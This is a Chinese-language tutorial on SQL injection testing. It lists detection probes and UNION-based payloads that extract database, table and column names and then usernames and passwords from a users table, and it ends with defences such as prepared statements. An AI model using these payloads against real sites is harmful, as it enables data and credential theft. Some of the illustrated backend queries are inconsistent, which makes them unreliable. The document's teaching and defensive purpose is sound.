Bootstrap

安全测试—SQL注入篇

SQL注入

利用SQL注入漏洞,攻击者可以暴露数据库中的敏感信息,如用户账号、密码等字段值。

1.1 场景描述

电子商务网站通常包含多个用户输入点,如搜索功能、用户登录表单、产品评论提交等。这些输入点若存在SQL注入漏洞,攻击者可以利用它们来执行恶意SQL代码,从而获取或破坏数据库中的敏感信息。

1.2 前置条件

网站存在SQL注入漏洞,攻击者可以通过输入恶意SQL代码来控制数据库查询。

1.3 漏洞发现方法

1.3.1 单引号检测

在搜索框、登录表单的用户名和密码字段、评论提交的文本区域等输入点输入单引号',检查系统是否返回SQL语法错误的提示。


输入:'
后台实际执行的SQL:SELECT * FROM products WHERE name LIKE '%''%'
返回:SQL语法错误


1.3.2 字符型注入判定

在各个输入点提交1' and '1'='1,若查询结果正常,则可能存在字符型注入。
提交1' and '1'='2,若无结果返回,则确认存在字符型注入。


输入:1' and '1'='1
后台实际执行的SQL:SELECT * FROM users WHERE username = '1' and '1'='1'
输入:1' and '1'='2
后台实际执行的SQL:SELECT * FROM users WHERE username = '1' and '1'='2'


1.3.3 数字型注入判定

在各个输入点提交1 and 1=1,若查询结果正常,则可能存在数字型注入。
提交1 and 1=2,若无结果返回,则确认存在数字型注入。


输入:1 and 1=1
后台实际执行的SQL:SELECT * FROM users WHERE id = 1 and 1=1
输入:1 and 1=2
后台实际执行的SQL:SELECT * FROM users WHERE id = 1 and 1=2


1.3.4 搜索型SQL注入确认

在搜索框提交value%' or 1=1#,可查询所有数据。
提交Noexist%' or 1=1#,即使value不存在,也可查询所有数据。


输入:value%' or 1=1#
后台实际执行的SQL:SELECT * FROM products WHERE name LIKE 'value%' or 1=1#'
输入:Noexist%' or 1=1#
后台实际执行的SQL:SELECT * FROM products WHERE name LIKE 'Noexist%' or 1=1#'


1.3.5 其他类型SQL注入确认

在其他输入点提交Noexist') or 1=1#,可查询所有用户信息。


输入:Noexist') or 1=1#
后台实际执行的SQL:INSERT INTO comments (text) VALUES ('Noexist') or 1=1#')


1.4 漏洞利用示例


1.4.1 获取数据库名称

在任一输入点使用database()函数,提交-1' union select 1,database() --+,获取数据库名称。


输入:-1' union select 1,database() --+
后台实际执行的SQL:SELECT * FROM users WHERE id = -1' union select 1,database() --+


1.4.2 获取数据表名称

提交-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+,获取数据表名称。


输入:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
后台实际执行的SQL:SELECT * FROM users WHERE id = -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+


1.4.3 获取字段名称

获取表名后,提交-1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#,获取字段名称。


输入:-1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
后台实际执行的SQL:SELECT * FROM users WHERE id = -1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#


1.4.4 获取字段值

获取字段名后,提交-1' union select user,password from users#,获取字段值。


输入:-1' union select user,password from users#
后台实际执行的SQL:SELECT * FROM users WHERE id = -1' union select user,password from users#


1.5 防御策略

1.5.1 预编译SQL语句

采用预编译SQL语句(Prepared Statements)分离SQL代码与数据,有效防止SQL注入。

1.5.2 用户输入校验

对用户输入进行格式校验,如数字、邮箱等,确保输入符合预期格式。

1.5.3 特殊符号过滤

过滤用户输入中的特殊符号和SQL关键字,如#、@、--等。

1.6其他方法

引入自动化SQL注入检测工具,如SQLMap,以快速识别和验证SQL注入漏洞。
实施最小权限原则,限制数据库账户权限。
定期进行数据库安全审计和漏洞扫描。
使用Web应用防火墙(WAF)阻止SQL注入攻击。
对敏感数据进行加密存储,保护用户隐私。

 

;